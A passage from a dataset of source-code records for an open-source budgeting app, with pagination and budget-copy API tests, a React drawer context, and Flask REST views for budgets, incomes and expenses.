[\"2021-04-22\", \"Vendor C\", \"expense\", -1500, 13500, \"Note 8\", False],\n [\"2021-04-21\", \"Vendor B\", \"expense\", -1000, 15000, \"\", False],\n [\"2021-04-21\", \"Vendor A\", \"expense\", -1000, 16000, \"\", False],\n [\"2021-04-20\", \"Vendor B\", \"expense\", -1000, 17000, \"\", False],\n [\"2021-04-17\", \"Vendor B\", \"expense\", -1000, 18000, \"\", False],\n [\"2021-04-15\", \"Vendor B\", \"expense\", -1000, 19000, \"\", False],\n [\"2021-04-14\", \"Vendor B\", \"expense\", -1500, 20000, \"\", False],\n [\"2021-04-14\", \"Vendor B\", \"expense\", -1000, 21500, \"\", False],\n [\"2021-04-14\", \"Vendor A\", \"income\", 10000, 22500, \"\", False],\n [\"2021-04-12\", \"Vendor C\", \"income\", 10000, 12500, \"Note 6\", False],\n [\"2021-04-10\", \"Vendor B\", \"expense\", -1000, 2500, \"\", True],\n [\"2021-04-07\", \"Vendor A\", \"expense\", -1000, 3500, \"\", True],\n [\"2021-04-06\", \"Vendor B\", \"expense\", -1000, 4500, \"\", True],\n [\"2021-04-04\", \"Vendor C\", \"expense\", -1000, 5500, \"Note 2\", True],\n [\"2021-04-03\", \"Vendor B\", \"expense\", -1000, 6500, \"\", True],\n [\"2021-04-02\", \"Vendor C\", \"expense\", -1000, 7500, \"Note 1\", True],\n [\"2021-04-01\", \"Vendor A\", \"expense\", -1500, 8500, \"\", True],\n [\"2021-04-01\", \"Vendor A\", \"income\", 10000, 10000, \"\", True],\n ]\n acct_2_transactions = [\n [\"2021-04-29\", \"Vendor C\", \"expense\", -1500, 15500, \"Note 11\", False],\n [\"2021-04-29\", \"Vendor B\", \"income\", 10000, 17000, \"\", False],\n [\"2021-04-28\", \"Vendor C\", \"expense\", -1000, 7000, \"Note 10\", False],\n [\"2021-04-27\", \"Vendor C\", \"expense\", -1000, 8000, \"Note 9\", False],\n [\"2021-04-24\", \"Vendor A\", \"expense\", -1000, 9000, \"\", False],\n [\"2021-04-21\", \"Vendor A\", \"expense\", -1000, 10000, \"\", False],\n [\"2021-04-20\", \"Vendor A\", \"income\", 10000, 11000, \"\", False],\n [\"2021-04-19\", \"Vendor C\", \"expense\", -1500, 1000, \"Note 7\", False],\n [\"2021-04-17\", \"Vendor B\", \"expense\", -1000, 2500, \"\", False],\n [\"2021-04-15\", \"Vendor B\", \"expense\", -1000, 3500, \"\", False],\n [\"2021-04-14\", \"Vendor A\", \"expense\", -1000, 4500, \"\", False],\n [\"2021-04-11\", \"Vendor C\", \"expense\", -1000, 5500, \"Note 5\", False],\n [\"2021-04-08\", \"Vendor C\", \"expense\", -1500, 6500, \"Note 4\", True],\n [\"2021-04-06\", \"Vendor C\", \"income\", 10000, 8000, \"Note 3\", True],\n [\"2021-04-03\", \"Vendor B\", \"expense\", -1000, -2000, \"\", True],\n [\"2021-04-02\", \"Vendor B\", \"expense\", -1000, -1000, \"\", True],\n ]\n\n ids = self.create_transaction_history()\n\n # Default pagination\n resp = self.client.get(f\"/api/accounts/{ids['acct_id_1']}/transactions\")\n assert resp.status_code == 200\n self.check_transaction_history(resp.json, acct_1_transactions[0:10], 1, 10, 24)\n\n # Second page, default size\n resp = self.client.get(f\"/api/accounts/{ids['acct_id_1']}/transactions?page=2\")\n assert resp.status_code == 200\n self.check_transaction_history(resp.json, acct_1_transactions[10:20], 2, 10, 24)\n\n # Third page, default size\n resp = self.client.get(\n f\"/api/accounts/{ids['acct_id_1']}/transactions?page=3&size=10\"\n )\n assert resp.status_code == 200\n self.check_transaction_history(resp.json, acct_1_transactions[20:], 3, 10, 24)\n\n # Explicit size\n resp = self.client.get(f\"/api/accounts/{ids['acct_id_1']}/transactions?size=12\")\n assert resp.status_code == 200\n self.check_transaction_history(resp.json, acct_1_transactions[0:12], 1, 12, 24)\n\n # Explicit size, second page\n resp = self.client.get(\n f\"/api/accounts/{ids['acct_id_1']}/transactions?size=12&page=2\"\n )\n assert resp.status_code == 200\n self.check_transaction_history(resp.json, acct_1_transactions[12:], 2, 12, 24)\n\n # Other account, first page\n resp = self.client.get(f\"/api/accounts/{ids['acct_id_2']}/transactions\")\n assert resp.status_code == 200\n self.check_transaction_history(resp.json, acct_2_transactions[0:10], 1, 10, 16)\n\n # Other account, second page\n resp = self.client.get(f\"/api/accounts/{ids['acct_id_2']}/transactions?page=2\")\n assert resp.status_code == 200\n self.check_transaction_history(resp.json, acct_2_transactions[10:16], 2, 10, 16)\n\n def test_envelope_transaction_history(self):\n env_1_transactions = [\n [\"2021-04-29\", \"Vendor B\", \"income\", 10000, 29000, \"\"],\n [\"2021-04-28\", \"Vendor A\", \"expense\", -1000, 19000, \"\"],\n [\"2021-04-28\", \"Vendor B\", \"expense\", -1500, 20000, \"\"],\n [\"2021-04-27\", \"Vendor C\", \"expense\", -1000, 21500, \"Note 9\"],\n [\"2021-04-26\", \"Vendor B\", \"income\", 10000, 22500, \"\"],\n [\"2021-04-24\", \"Vendor B\", \"expense\", -1000, 12500, \"\"],\n [\"2021-04-21\", \"Vendor A\", \"expense\", -1000, 13500, \"\"],\n [\"2021-04-21\", \"Vendor B\", \"expense\", -1000, 14500, \"\"],\n [\"2021-04-21\", \"Vendor A\", \"expense\", -1000, 15500, \"\"],\n [\"2021-04-19\", \"Vendor C\", \"expense\", -1500, 16500, \"Note 7\"],\n [\"2021-04-17\", \"Vendor B\", \"expense\", -1000, 18000, \"\"],\n [\"2021-04-15\", \"Vendor B\", \"expense\", -1000, 19000, \"\"],\n [\"2021-04-14\", \"Vendor B\", \"expense\", -1500, 20000, \"\"],\n [\"2021-04-14\", \"Vendor B\", \"expense\", -1000, 21500, \"\"],\n [\"2021-04-12\", \"Vendor C\", \"income\", 10000, 22500, \"Note 6\"],\n [\"2021-04-11\", \"Vendor C\", \"expense\", -1000, 12500, \"Note 5\"],\n [\"2021-04-10\", \"Vendor B\", \"expense\", -1000, 13500, \"\"],\n [\"2021-04-07\", \"Vendor A\", \"expense\", -1000, 14500, \"\"],\n [\"2021-04-06\", \"Vendor C\", \"income\", 10000, 15500, \"Note 3\"],\n [\"2021-04-04\", \"Vendor C\", \"expense\", -1000, 5500, \"Note 2\"],\n [\"2021-04-03\", \"Vendor B\", \"expense\", -1000, 6500, \"\"],\n [\"2021-04-02\", \"Vendor B\", \"expense\", -1000, 7500, \"\"],\n [\"2021-04-01\", \"Vendor A\", \"expense\", -1500, 8500, \"\"],\n [\"2021-04-01\", \"Vendor A\", \"income\", 10000, 10000, \"\"],\n ]\n env_2_transactions = [\n [\"2021-04-30\", \"Vendor A\", \"expense\", -1000, 4500, \"\"],\n [\"2021-04-29\", \"Vendor C\", \"expense\", -1500, 5500, \"Note 11\"],\n [\"2021-04-28\", \"Vendor C\", \"expense\", -1000, 7000, \"Note 10\"],\n [\"2021-04-26\", \"Vendor A\", \"expense\", -1000, 8000, \"\"],\n [\"2021-04-24\", \"Vendor A\", \"expense\", -1000, 9000, \"\"],\n [\"2021-04-22\", \"Vendor C\", \"expense\", -1500, 10000, \"Note 8\"],\n [\"2021-04-20\", \"Vendor A\", \"income\", 10000, 11500, \"\"],\n [\"2021-04-20\", \"Vendor B\", \"expense\", -1000, 1500, \"\"],\n [\"2021-04-17\", \"Vendor B\", \"expense\", -1000, 2500, \"\"],\n [\"2021-04-15\", \"Vendor B\", \"expense\", -1000, 3500, \"\"],\n [\"2021-04-14\", \"Vendor A\", \"expense\", -1000, 4500, \"\"],\n [\"2021-04-14\", \"Vendor A\", \"income\", 10000, 5500, \"\"],\n [\"2021-04-08\", \"Vendor C\", \"expense\", -1500, -4500, \"Note 4\"],\n [\"2021-04-06\", \"Vendor B\", \"expense\", -1000, -3000, \"\"],\n [\"2021-04-03\", \"Vendor B\", \"expense\", -1000, -2000, \"\"],\n [\"2021-04-02\", \"Vendor C\", \"expense\", -1000, -1000, \"Note 1\"],\n ]\n\n ids = self.create_transaction_history()\n\n # Default pagination\n resp = self.client.get(f\"/api/envelopes/{ids['env_id_1']}/transactions\")\n assert resp.status_code == 200\n self.check_transaction_history(resp.json, env_1_transactions[0:10], 1, 10, 24)\n\n # Second page, default size\n resp = self.client.get(f\"/api/envelopes/{ids['env_id_1']}/transactions?page=2\")\n assert resp.status_code == 200\n self.check_transaction_history(resp.json, env_1_transactions[10:20], 2, 10, 24)\n\n # Third page, default size\n resp = self.client.get(f\"/api/envelopes/{ids['env_id_1']}/transactions?page=3\")\n assert resp.status_code == 200\n self.check_transaction_history(resp.json, env_1_transactions[20:], 3, 10, 24)\n\n # Explicit size\n resp = self.client.get(f\"/api/envelopes/{ids['env_id_1']}/transactions?size=12\")\n assert resp.status_code == 200\n self.check_transaction_history(resp.json, env_1_transactions[0:12], 1, 12, 24)\n\n # Explicit size, second page\n resp = self.client.get(\n f\"/api/envelopes/{ids['env_id_1']}/transactions?size=12&page=2\"\n )\n assert resp.status_code == 200\n self.check_transaction_history(resp.json, env_1_transactions[12:], 2, 12, 24)\n\n # Other envelope, first page\n resp = self.client.get(f\"/api/envelopes/{ids['env_id_2']}/transactions\")\n assert resp.status_code == 200\n self.check_transaction_history(resp.json, env_2_transactions[0:10], 1, 10, 16)\n\n # Other envelope, second page\n resp = self.client.get(f\"/api/envelopes/{ids['env_id_2']}/transactions?page=2\")\n assert resp.status_code == 200\n self.check_transaction_history(resp.json, env_2_transactions[10:16], 2, 10, 16)\n\n def test_invalid_ids(self):\n self.create_transaction_history()\n\n resp = self.client.get(\"/api/accounts/99999/transactions\")\n assert resp.status_code == 404\n\n resp = self.client.get(\"/api/envelopes/99999/transactions\")\n assert resp.status_code == 404\n" }, { "alpha_fraction": 0.5467613339424133, "alphanum_fraction": 0.5696224570274353, "avg_line_length": 36.98684310913086, "blob_id": "e090e72da495aaa30de24dc19fc45f00ea6da436", "content_id": "6bb916b0650f387e87fcf825c4127695af1a51be", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5774, "license_type": "permissive", "max_line_length": 83, "num_lines": 152, "path": "/backend/underbudget/tests/test_budget_generators.py", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "\"\"\" Integration tests for budget generator APIs \"\"\"\nfrom jsonpath_ng.ext import parse\nfrom parameterized import parameterized\n\nfrom underbudget.tests.base import BaseTestCase\n\n\nclass BudgetGeneratorsTestCase(BaseTestCase):\n \"\"\" Integration tests for budget generator APIs \"\"\"\n\n @parameterized.expand([(\"not-an-id\",), (999,)])\n def test_budget_copy_requires_valid_ledger(self, ledger_id=None):\n budget_id = self.create_budget(self.create_ledger())\n resp = self.client.post(\n f\"/api/ledgers/{ledger_id}/budgets/copy\",\n json={\"origId\": budget_id},\n )\n assert resp.status_code == 404\n\n @parameterized.expand(\n [\n (400, \"OrigId\", \"auto\"),\n (400, \"origId\", None),\n (400, \"origId\", \"\"),\n (404, \"origId\", 0),\n (404, \"origId\", -1),\n (404, \"origId\", 999),\n (400, \"origId\", \"other\"),\n (201, \"origId\", \"auto\"),\n ]\n )\n def test_budget_copy_requires_valid_orig_id(self, code, key, value):\n ledger_id = self.create_ledger()\n budget_id = self.create_budget(ledger_id)\n other_ledger_id = self.create_ledger()\n other_budget_id = self.create_budget(other_ledger_id)\n\n if value == \"auto\":\n value = budget_id\n elif value == \"other\":\n value = other_budget_id\n\n resp = self.client.post(\n f\"/api/ledgers/{ledger_id}/budgets/copy\",\n json={key: value},\n )\n assert resp.status_code == code\n\n def test_budget_copy_includes_periodic_incomes(self):\n ledger_id = self.create_ledger()\n budget_id = self.create_budget(ledger_id)\n income_1_id = self.create_periodic_income(\n budget_id, name=\"Income 1\", amount=100\n )\n income_2_id = self.create_periodic_income(\n budget_id, name=\"Income 2\", amount=200\n )\n\n resp = self.client.post(\n f\"/api/ledgers/{ledger_id}/budgets/copy\",\n json={\"origId\": budget_id},\n )\n assert resp.status_code == 201\n copy_budget_id = resp.json.get(\"id\")\n\n resp = self.client.get(f\"/api/budgets/{copy_budget_id}/periodic-incomes\")\n assert resp.status_code == 200\n\n income_ids = [m.value for m in parse(\"incomes[*].id\").find(resp.json)]\n assert income_1_id not in income_ids\n assert income_2_id not in income_ids\n assert [\"Income 1\", \"Income 2\"] == [\n m.value for m in parse(\"incomes[*].name\").find(resp.json)\n ]\n assert [100, 200] == [\n m.value for m in parse(\"incomes[*].amount\").find(resp.json)\n ]\n\n def test_budget_copy_includes_periodic_expenses(self):\n ledger_id = self.create_ledger()\n env_cat_id = self.create_envelope_category(ledger_id)\n envelope_1_id = self.create_envelope(env_cat_id)\n envelope_2_id = self.create_envelope(env_cat_id)\n budget_id = self.create_budget(ledger_id)\n expense_1_id = self.create_periodic_expense(\n budget_id, envelope_2_id, name=\"Expense 1\", amount=100\n )\n expense_2_id = self.create_periodic_expense(\n budget_id, envelope_1_id, name=\"Expense 2\", amount=200\n )\n\n resp = self.client.post(\n f\"/api/ledgers/{ledger_id}/budgets/copy\",\n json={\"origId\": budget_id},\n )\n assert resp.status_code == 201\n copy_budget_id = resp.json.get(\"id\")\n\n resp = self.client.get(f\"/api/budgets/{copy_budget_id}/periodic-expenses\")\n assert resp.status_code == 200\n\n expense_ids = [m.value for m in parse(\"expenses[*].id\").find(resp.json)]\n assert expense_1_id not in expense_ids\n assert expense_2_id not in expense_ids\n assert [envelope_2_id, envelope_1_id] == [\n m.value for m in parse(\"expenses[*].envelopeId\").find(resp.json)\n ]\n assert [\"Expense 1\", \"Expense 2\"] == [\n m.value for m in parse(\"expenses[*].name\").find(resp.json)\n ]\n assert [100, 200] == [\n m.value for m in parse(\"expenses[*].amount\").find(resp.json)\n ]\n\n def test_budget_copy_includes_annual_expenses(self):\n ledger_id = self.create_ledger()\n env_cat_id = self.create_envelope_category(ledger_id)\n envelope_1_id = self.create_envelope(env_cat_id)\n envelope_2_id = self.create_envelope(env_cat_id)\n budget_id = self.create_budget(ledger_id, periods=2)\n expense_1_id = self.create_annual_expense(\n budget_id, envelope_2_id, name=\"Expense 1\", amount=100\n )\n expense_2_id = self.create_annual_expense(\n budget_id, envelope_1_id, name=\"Expense 2\", details=[75, 85]\n )\n\n resp = self.client.post(\n f\"/api/ledgers/{ledger_id}/budgets/copy\",\n json={\"origId\": budget_id},\n )\n assert resp.status_code == 201\n copy_budget_id = resp.json.get(\"id\")\n\n resp = self.client.get(f\"/api/budgets/{copy_budget_id}/annual-expenses\")\n assert resp.status_code == 200\n\n expense_ids = [m.value for m in parse(\"expenses[*].id\").find(resp.json)]\n assert expense_1_id not in expense_ids\n assert expense_2_id not in expense_ids\n assert [envelope_2_id, envelope_1_id] == [\n m.value for m in parse(\"expenses[*].envelopeId\").find(resp.json)\n ]\n assert [\"Expense 1\", \"Expense 2\"] == [\n m.value for m in parse(\"expenses[*].name\").find(resp.json)\n ]\n assert [100, 160] == [\n m.value for m in parse(\"expenses[*].amount\").find(resp.json)\n ]\n assert [75, 85] == [\n m.value for m in parse(\"expenses[1].details[*].amount\").find(resp.json)\n ]\n" }, { "alpha_fraction": 0.7063562870025635, "alphanum_fraction": 0.7063562870025635, "avg_line_length": 29.189189910888672, "blob_id": "930286ac2c72b09c2786f037897fd236fbac6fd1", "content_id": "5d9e7aa492711d857b203fa4f8da71b96bfb5d89", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 1117, "license_type": "permissive", "max_line_length": 98, "num_lines": 37, "path": "/webapp/src/common/contexts/drawer/drawer.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import PropTypes from 'prop-types';\nimport React from 'react';\n\nimport useMobile from '../../hooks/useMobile';\n\nconst key = 'underbudget.drawer.open';\nconst setDrawerState = (open) => localStorage.setItem(key, String(open));\nconst getDrawerState = () => localStorage.getItem(key) === 'true';\n\nconst DrawerContext = React.createContext();\n\nconst useDrawerState = () => {\n const context = React.useContext(DrawerContext);\n if (context === undefined) {\n throw new Error('useDrawerState must be used within a DrawerContextProvider');\n }\n return context;\n};\n\nconst DrawerContextProvider = ({ children }) => {\n const mobile = useMobile();\n const [open, setOpen] = React.useState(mobile ? false : getDrawerState);\n const handleToggle = () => {\n if (!mobile) {\n setDrawerState(!open);\n }\n setOpen(!open);\n };\n\n return <DrawerContext.Provider value={[open, handleToggle]}>{children}</DrawerContext.Provider>;\n};\n\nDrawerContextProvider.propTypes = {\n children: PropTypes.oneOfType([PropTypes.node, PropTypes.arrayOf(PropTypes.node)]).isRequired,\n};\n\nexport { DrawerContextProvider, useDrawerState };\n" }, { "alpha_fraction": 0.5640362501144409, "alphanum_fraction": 0.5729231238365173, "avg_line_length": 32.41917419433594, "blob_id": "62f96a6d2ff09586914263ebfbdb2827d8ad5e38", "content_id": "2196b1457d5612d25c665ded5ea83df158f78e9a", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 17779, "license_type": "permissive", "max_line_length": 91, "num_lines": 532, "path": "/backend/underbudget/views/budgets.py", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "\"\"\" Budgets REST view \"\"\"\nfrom datetime import datetime\nfrom typing import Any, Dict, Optional\nfrom flask import Flask\nfrom flask.views import MethodView\nfrom werkzeug.exceptions import BadRequest\n\nfrom underbudget.common.decorators import use_args\nfrom underbudget.database import db\nfrom underbudget.models.budget import (\n ActiveBudgetModel,\n BudgetAnnualExpenseModel,\n BudgetAnnualExpenseDetailModel,\n BudgetModel,\n BudgetPeriodicExpenseModel,\n BudgetPeriodicIncomeModel,\n)\nfrom underbudget.models.envelope import EnvelopeCategoryModel, EnvelopeModel\nfrom underbudget.models.ledger import LedgerModel\nimport underbudget.schemas.budget as schema\n\n\nbudget_schema = schema.BudgetSchema()\nactive_budget_schema = schema.ActiveBudgetSchema()\nperiodic_income_schema = schema.PeriodicIncomeSchema()\nperiodic_expense_schema = schema.PeriodicExpenseSchema()\nannual_expense_schema = schema.AnnualExpenseSchema()\n\n\ndef register(app: Flask):\n \"\"\" Registers all views \"\"\"\n BudgetsView.register(app)\n ActiveBudgetsView.register(app)\n PeriodicIncomesView.register(app)\n PeriodicExpensesView.register(app)\n AnnualExpensesView.register(app)\n\n\nclass BudgetsView(MethodView):\n \"\"\" Budget REST resource view \"\"\"\n\n @classmethod\n def register(cls, app: Flask):\n \"\"\" Registers routes for this view \"\"\"\n view = cls.as_view(\"budgets\")\n app.add_url_rule(\n \"/api/ledgers/<int:ledger_id>/budgets\",\n defaults={\"budget_id\": None},\n view_func=view,\n methods=[\"GET\"],\n )\n app.add_url_rule(\n \"/api/ledgers/<int:ledger_id>/budgets\",\n view_func=view,\n methods=[\"POST\"],\n )\n app.add_url_rule(\n \"/api/budgets/<int:budget_id>\",\n defaults={\"ledger_id\": None},\n view_func=view,\n methods=[\"GET\"],\n )\n app.add_url_rule(\n \"/api/budgets/<int:budget_id>\",\n view_func=view,\n methods=[\"PUT\", \"DELETE\"],\n )\n\n @staticmethod\n def get(ledger_id: Optional[int], budget_id: Optional[int]):\n \"\"\" Gets a specific budget or all budgets in the specified ledger \"\"\"\n if budget_id:\n return budget_schema.dump(BudgetModel.query.get_or_404(budget_id))\n if ledger_id:\n return {\n \"budgets\": budget_schema.dump(\n BudgetModel.find_by_ledger_id(ledger_id), many=True\n )\n }\n return ({}, 404)\n\n @staticmethod\n @use_args(budget_schema)\n def post(args: Dict[str, Any], ledger_id: int):\n \"\"\" Creates a new budget \"\"\"\n LedgerModel.query.get_or_404(ledger_id)\n now = datetime.now()\n\n new_budget = BudgetModel(\n ledger_id=ledger_id,\n name=args[\"name\"],\n periods=args[\"periods\"],\n created=now,\n last_updated=now,\n )\n new_budget.save()\n return {\"id\": int(new_budget.id)}, 201\n\n @staticmethod\n @use_args(budget_schema)\n def put(args: Dict[str, Any], budget_id: int):\n \"\"\" Modifies a specific budget \"\"\"\n budget = BudgetModel.query.get_or_404(budget_id)\n\n if budget.periods != args[\"periods\"]:\n for annual_expense in budget.annual_expenses:\n if len(annual_expense.details) > 0:\n raise BadRequest(\"Cannot change number of periods in budget\")\n\n budget.name = args[\"name\"]\n budget.periods = args[\"periods\"]\n budget.last_updated = datetime.now()\n budget.save()\n return {}, 200\n\n @staticmethod\n def delete(budget_id: int):\n \"\"\" Deletes a specific budget \"\"\"\n budget = BudgetModel.query.get_or_404(budget_id)\n budget.delete()\n return {}, 204\n\n\nclass ActiveBudgetsView(MethodView):\n \"\"\" Active budget REST resource view \"\"\"\n\n @classmethod\n def register(cls, app: Flask):\n \"\"\" Registers routes for this view \"\"\"\n view = cls.as_view(\"active_budgets\")\n app.add_url_rule(\n \"/api/ledgers/<int:ledger_id>/active-budgets\",\n defaults={\"active_budget_id\": None},\n view_func=view,\n methods=[\"GET\"],\n )\n app.add_url_rule(\n \"/api/ledgers/<int:ledger_id>/active-budgets\",\n view_func=view,\n methods=[\"POST\"],\n )\n app.add_url_rule(\n \"/api/active-budgets/<int:active_budget_id>\",\n defaults={\"ledger_id\": None},\n view_func=view,\n methods=[\"GET\"],\n )\n app.add_url_rule(\n \"/api/active-budgets/<int:active_budget_id>\",\n view_func=view,\n methods=[\"PUT\", \"DELETE\"],\n )\n\n @staticmethod\n def get(ledger_id: Optional[int], active_budget_id: Optional[int]):\n \"\"\" Gets a specific active budget or all active budgets in the specified ledger \"\"\"\n if active_budget_id:\n return active_budget_schema.dump(\n ActiveBudgetModel.find_by_id(active_budget_id)\n )\n if ledger_id:\n return {\n \"activeBudgets\": active_budget_schema.dump(\n ActiveBudgetModel.find_by_ledger_id(ledger_id), many=True\n )\n }\n return ({}, 404)\n\n @staticmethod\n @use_args(active_budget_schema)\n def post(args: Dict[str, Any], ledger_id: int):\n \"\"\" Creates a new active budget \"\"\"\n LedgerModel.query.get_or_404(ledger_id)\n budget = BudgetModel.query.get_or_404(args[\"budget_id\"])\n\n if ledger_id != budget.ledger_id:\n raise BadRequest(\"Budget is from different ledger\")\n\n existing = ActiveBudgetModel.find_by_year(\n ledger_id=ledger_id, year=args[\"year\"]\n )\n if existing:\n raise BadRequest(f\"Active budget already specified for year {args['year']}\")\n\n now = datetime.now()\n\n new_active_budget = ActiveBudgetModel(\n ledger_id=ledger_id,\n budget_id=args[\"budget_id\"],\n year=args[\"year\"],\n created=now,\n last_updated=now,\n )\n new_active_budget.save()\n return {\"id\": int(new_active_budget.id)}, 201\n\n @staticmethod\n @use_args(schema.ActiveBudgetSchema(exclude=[\"year\"]))\n def put(args: Dict[str, Any], active_budget_id: int):\n \"\"\" Modifies a specific active budget \"\"\"\n active_budget = ActiveBudgetModel.query.get_or_404(active_budget_id)\n BudgetModel.query.get_or_404(args[\"budget_id\"])\n active_budget.budget_id = args[\"budget_id\"]\n active_budget.last_updated = datetime.now()\n active_budget.save()\n return {}, 200\n\n @staticmethod\n def delete(active_budget_id: int):\n \"\"\" Deletes a specific active budget \"\"\"\n active_budget = ActiveBudgetModel.query.get_or_404(active_budget_id)\n active_budget.delete()\n return {}, 204\n\n\nclass PeriodicIncomesView(MethodView):\n \"\"\" Periodic income REST resource view \"\"\"\n\n @classmethod\n def register(cls, app: Flask):\n \"\"\" Registers routes for this view \"\"\"\n view = cls.as_view(\"periodic_incomes\")\n app.add_url_rule(\n \"/api/budgets/<int:budget_id>/periodic-incomes\",\n defaults={\"income_id\": None},\n view_func=view,\n methods=[\"GET\"],\n )\n app.add_url_rule(\n \"/api/budgets/<int:budget_id>/periodic-incomes\",\n view_func=view,\n methods=[\"POST\"],\n )\n app.add_url_rule(\n \"/api/budget-periodic-incomes/<int:income_id>\",\n defaults={\"budget_id\": None},\n view_func=view,\n methods=[\"GET\"],\n )\n app.add_url_rule(\n \"/api/budget-periodic-incomes/<int:income_id>\",\n view_func=view,\n methods=[\"PUT\", \"DELETE\"],\n )\n\n @staticmethod\n def get(budget_id: Optional[int], income_id: Optional[int]):\n \"\"\" Gets a specific periodic income or all incomes in the specified budget \"\"\"\n if income_id:\n return periodic_income_schema.dump(\n BudgetPeriodicIncomeModel.query.get_or_404(income_id)\n )\n if budget_id:\n return {\n \"incomes\": periodic_income_schema.dump(\n BudgetPeriodicIncomeModel.find_by_budget_id(budget_id), many=True\n )\n }\n return ({}, 404)\n\n @staticmethod\n @use_args(periodic_income_schema)\n def post(args: Dict[str, Any], budget_id: int):\n \"\"\" Creates a new periodic income \"\"\"\n BudgetModel.query.get_or_404(budget_id)\n now = datetime.now()\n\n new_income = BudgetPeriodicIncomeModel(\n budget_id=budget_id,\n name=args[\"name\"],\n amount=args[\"amount\"],\n created=now,\n last_updated=now,\n )\n new_income.save()\n return {\"id\": int(new_income.id)}, 201\n\n @staticmethod\n @use_args(periodic_income_schema)\n def put(args: Dict[str, Any], income_id: int):\n \"\"\" Modifies a specific periodic income \"\"\"\n income = BudgetPeriodicIncomeModel.query.get_or_404(income_id)\n income.name = args[\"name\"]\n income.amount = args[\"amount\"]\n income.last_updated = datetime.now()\n income.save()\n return {}, 200\n\n @staticmethod\n def delete(income_id: int):\n \"\"\" Deletes a specific periodic income \"\"\"\n income = BudgetPeriodicIncomeModel.query.get_or_404(income_id)\n income.delete()\n return {}, 204\n\n\nclass PeriodicExpensesView(MethodView):\n \"\"\" Periodic expense REST resource view \"\"\"\n\n @classmethod\n def register(cls, app: Flask):\n \"\"\" Registers routes for this view \"\"\"\n view = cls.as_view(\"periodic_expenses\")\n app.add_url_rule(\n \"/api/budgets/<int:budget_id>/periodic-expenses\",\n defaults={\"expense_id\": None},\n view_func=view,\n methods=[\"GET\"],\n )\n app.add_url_rule(\n \"/api/budgets/<int:budget_id>/periodic-expenses\",\n view_func=view,\n methods=[\"POST\"],\n )\n app.add_url_rule(\n \"/api/budget-periodic-expenses/<int:expense_id>\",\n defaults={\"budget_id\": None},\n view_func=view,\n methods=[\"GET\"],\n )\n app.add_url_rule(\n \"/api/budget-periodic-expenses/<int:expense_id>\",\n view_func=view,\n methods=[\"PUT\", \"DELETE\"],\n )\n\n @staticmethod\n def get(budget_id: Optional[int], expense_id: Optional[int]):\n \"\"\" Gets a specific periodic expense or all expenses in the specified budget \"\"\"\n if expense_id:\n return periodic_expense_schema.dump(\n BudgetPeriodicExpenseModel.query.get_or_404(expense_id)\n )\n if budget_id:\n return {\n \"expenses\": periodic_expense_schema.dump(\n BudgetPeriodicExpenseModel.find_by_budget_id(budget_id), many=True\n )\n }\n return ({}, 404)\n\n @staticmethod\n @use_args(periodic_expense_schema)\n def post(args: Dict[str, Any], budget_id: int):\n \"\"\" Creates a new periodic expense \"\"\"\n now = datetime.now()\n\n budget = BudgetModel.query.get_or_404(budget_id)\n envelope = EnvelopeModel.query.get_or_404(args[\"envelope_id\"])\n category = EnvelopeCategoryModel.query.get_or_404(envelope.category_id)\n\n if category.ledger_id != budget.ledger_id:\n raise BadRequest(\"Envelope is from different ledger\")\n\n new_expense = BudgetPeriodicExpenseModel(\n budget_id=budget_id,\n envelope_id=envelope.id,\n name=args[\"name\"],\n amount=args[\"amount\"],\n created=now,\n last_updated=now,\n )\n new_expense.save()\n return {\"id\": int(new_expense.id)}, 201\n\n @staticmethod\n @use_args(periodic_expense_schema)\n def put(args: Dict[str, Any], expense_id: int):\n \"\"\" Modifies a specific periodic expense \"\"\"\n expense = BudgetPeriodicExpenseModel.query.get_or_404(expense_id)\n\n budget = BudgetModel.query.get_or_404(expense.budget_id)\n envelope = EnvelopeModel.query.get_or_404(args[\"envelope_id\"])\n category = EnvelopeCategoryModel.query.get_or_404(envelope.category_id)\n\n if category.ledger_id != budget.ledger_id:\n raise BadRequest(\"Envelope is from different ledger\")\n\n expense.envelope_id = envelope.id\n expense.name = args[\"name\"]\n expense.amount = args[\"amount\"]\n expense.last_updated = datetime.now()\n expense.save()\n return {}, 200\n\n @staticmethod\n def delete(expense_id: int):\n \"\"\" Deletes a specific periodic expense \"\"\"\n expense = BudgetPeriodicExpenseModel.query.get_or_404(expense_id)\n expense.delete()\n return {}, 204\n\n\nclass AnnualExpensesView(MethodView):\n \"\"\" Annual expense REST resource view \"\"\"\n\n @classmethod\n def register(cls, app: Flask):\n \"\"\" Registers routes for this view \"\"\"\n view = cls.as_view(\"annual_expenses\")\n app.add_url_rule(\n \"/api/budgets/<int:budget_id>/annual-expenses\",\n defaults={\"expense_id\": None},\n view_func=view,\n methods=[\"GET\"],\n )\n app.add_url_rule(\n \"/api/budgets/<int:budget_id>/annual-expenses\",\n view_func=view,\n methods=[\"POST\"],\n )\n app.add_url_rule(\n \"/api/budget-annual-expenses/<int:expense_id>\",\n defaults={\"budget_id\": None},\n view_func=view,\n methods=[\"GET\"],\n )\n app.add_url_rule(\n \"/api/budget-annual-expenses/<int:expense_id>\",\n view_func=view,\n methods=[\"PUT\", \"DELETE\"],\n )\n\n @staticmethod\n def get(budget_id: Optional[int], expense_id: Optional[int]):\n \"\"\" Gets a specific annual expense or all expenses in the specified budget \"\"\"\n if expense_id:\n return annual_expense_schema.dump(\n BudgetAnnualExpenseModel.query.get_or_404(expense_id)\n )\n if budget_id:\n return {\n \"expenses\": annual_expense_schema.dump(\n BudgetAnnualExpenseModel.find_by_budget_id(budget_id), many=True\n )\n }\n return ({}, 404)\n\n @staticmethod\n @use_args(annual_expense_schema)\n def post(args: Dict[str, Any], budget_id: int):\n \"\"\" Creates a new annual expense \"\"\"\n now = datetime.now()\n\n budget = BudgetModel.query.get_or_404(budget_id)\n envelope = EnvelopeModel.query.get_or_404(args[\"envelope_id\"])\n category = EnvelopeCategoryModel.query.get_or_404(envelope.category_id)\n\n if category.ledger_id != budget.ledger_id:\n raise BadRequest(\"Envelope is from different ledger\")\n\n if args[\"details\"]:\n if len(args[\"details\"]) != budget.periods:\n raise BadRequest(\"Wrong number of period details\")\n\n amount = 